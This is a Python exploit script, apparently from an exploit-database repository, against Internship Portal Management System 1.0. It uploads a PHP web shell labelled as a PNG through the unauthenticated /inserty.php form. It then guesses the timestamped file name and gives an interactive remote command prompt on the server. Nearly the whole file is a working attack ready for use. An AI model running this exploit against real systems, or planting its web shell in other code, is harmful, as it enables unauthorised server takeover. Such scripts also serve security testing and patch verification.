b8cf9ea0fc
1 changes to exploits/shellcodes Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
74 lines
No EOL
2.3 KiB
Python
Executable file
74 lines
No EOL
2.3 KiB
Python
Executable file
# Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
|
|
# Date: 2021-05-04
|
|
# Exploit Author: argenestel
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
|
|
# Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
|
|
# Version: 1.0
|
|
# Tested on: Debian 10
|
|
|
|
import requests
|
|
import time
|
|
|
|
#change the url to the site running the vulnerable system
|
|
url="http://127.0.0.1:4000"
|
|
#burp proxy
|
|
proxies = {
|
|
"http": "http://127.0.0.1:8080",
|
|
}
|
|
#payload
|
|
payload='<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
|
|
|
|
#the upload point
|
|
insert_url=url+"/inserty.php"
|
|
|
|
def fill_details():
|
|
global payload
|
|
global shellend
|
|
global shellstart
|
|
print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
|
|
#time start
|
|
shellstart=int(time.time())
|
|
#print(shellstart)
|
|
files = {'file':('shell.php',payload,
|
|
'image/png', {'Content-Disposition': 'form-data'}
|
|
)
|
|
}
|
|
data = {
|
|
"company_name":"some",
|
|
"first_name":"some",
|
|
"last_name":"some",
|
|
"email":"some@some.com",
|
|
"gender":"Male",
|
|
"insert_button":"Apply",
|
|
"terms":"on"
|
|
}
|
|
r = requests.post(insert_url, data=data, files=files)
|
|
if r.status_code == 200:
|
|
print("Exploited Intern System Successfully...")
|
|
shellend = int(time.time())
|
|
#print(shellend)
|
|
shell()
|
|
else:
|
|
print("Exploit Failed")
|
|
|
|
def shell():
|
|
for shellname in range(shellstart, shellend+1):
|
|
shellstr=str(shellname)
|
|
shell_url=url+"/upload/"+shellstr+"_shell.php"
|
|
r = requests.get(shell_url)
|
|
if r.status_code == 200:
|
|
shell_url=url+"/upload/"+shellstr+"_shell.php"
|
|
break
|
|
|
|
r = requests.get(shell_url)
|
|
if r.status_code == 200:
|
|
print("Shell Starting...")
|
|
while True:
|
|
cmd=input("cmd$ ")
|
|
r = requests.get(shell_url+"?cmd="+cmd)
|
|
print(r.text)
|
|
else:
|
|
print("File Name Error")
|
|
|
|
|
|
fill_details() |